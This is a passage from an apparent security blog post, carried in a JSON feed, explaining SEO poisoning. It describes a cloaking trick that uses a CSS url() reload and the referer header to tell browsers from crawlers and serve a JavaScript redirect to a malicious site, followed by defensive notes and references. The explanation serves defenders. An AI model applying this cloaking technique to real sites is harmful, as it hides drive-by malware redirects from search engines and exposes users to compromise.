code they include (CSS, JavaScript). Nor do they simulate mouse movement.\u003c/p>\n\u003cp>Setting the \u003ccode>background-image\u003c/code> CSS field to \u003ccode>url()\u003c/code> will trigger a reload of the page again.\u003c/p>\n\u003cp>The second request from the client will include the \u003ccode>referer\u003c/code> HTTP header, which will be set to the keyword-stuffed site’s domain.\u003c/p>\n\u003cp>If this header is detected, it means the client is a browser that attempted to render the page and is likely a real user. The second response will then include the JavaScript code \u003ccode>window.location = &quot;http://www.nomalwarehere.com&quot;\u003c/code>, triggering a redirect to the malicious site.\u003c/p>\n\u003cp>It’s worth noting that in recent years Google’s bot does run JavaScript on crawled sites but it doesn’t happen immediately like in a browser. Additionally, it’s unclear if the Google crawler processes CSS files.\u003c/p>\n\u003ch2 id=\"defensive-considerations\">Defensive Considerations\u003c/h2>\n\u003cp>From an enterprise perspective, the only consideration for this activity is to reinforce existing mitigations for \u003ca href=\"https://attack.mitre.org/techniques/T1189/\">\u003cstrong>Drive-by Compromise\u003c/strong>\u003c/a> against end-users. Detection and prevention of this staging technique depends on the search engines which disseminate these malicious pages. It’s possible that soon search engines will develop more advanced crawling techniques, perhaps using AI, which will be able to detect more complex SEO poisoning attempts. The demand for this is unclear since it is difficult to measure the actual extent to which this resource development technique is utilized by attackers.\u003c/p>\n\u003ch2 id=\"references\">References\u003c/h2>\n\u003cul>\n\u003cli>\u003ca href=\"https://attack.mitre.org/techniques/T1608/006/\">\u003cstrong>MITRE ATT&amp;CK — Stage Capabilities: SEO Poisoning\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://www.malwarebytes.com/blog/news/2018/05/seo-poisoning-is-it-worth-it\">\u003cstrong>MalwareBytes — SEO poisoning: Is it worth it?\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://www.zscaler.com/blogs/security-research/ubiquitous-seo-poisoning-urls-0\">\u003cstrong>Zscaler — Ubiquitous SEO Poisoning URLs\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://developers.google.com/search/docs/crawling-indexing/javascript/javascript-seo-basics\">\u003cstrong>Google Search Central — Understand the JavaScript SEO Basics\u003c/strong>\u003c/a>\u003c/li>\n\u003c/ul>\n","summary":"A technical deep-dive on this MITRE ATT&CK threat actor technique.","image":"https://benkofman.com/seo-poisoning/cover.png","date_published":"2023-07-03T12:00:00Z"}]}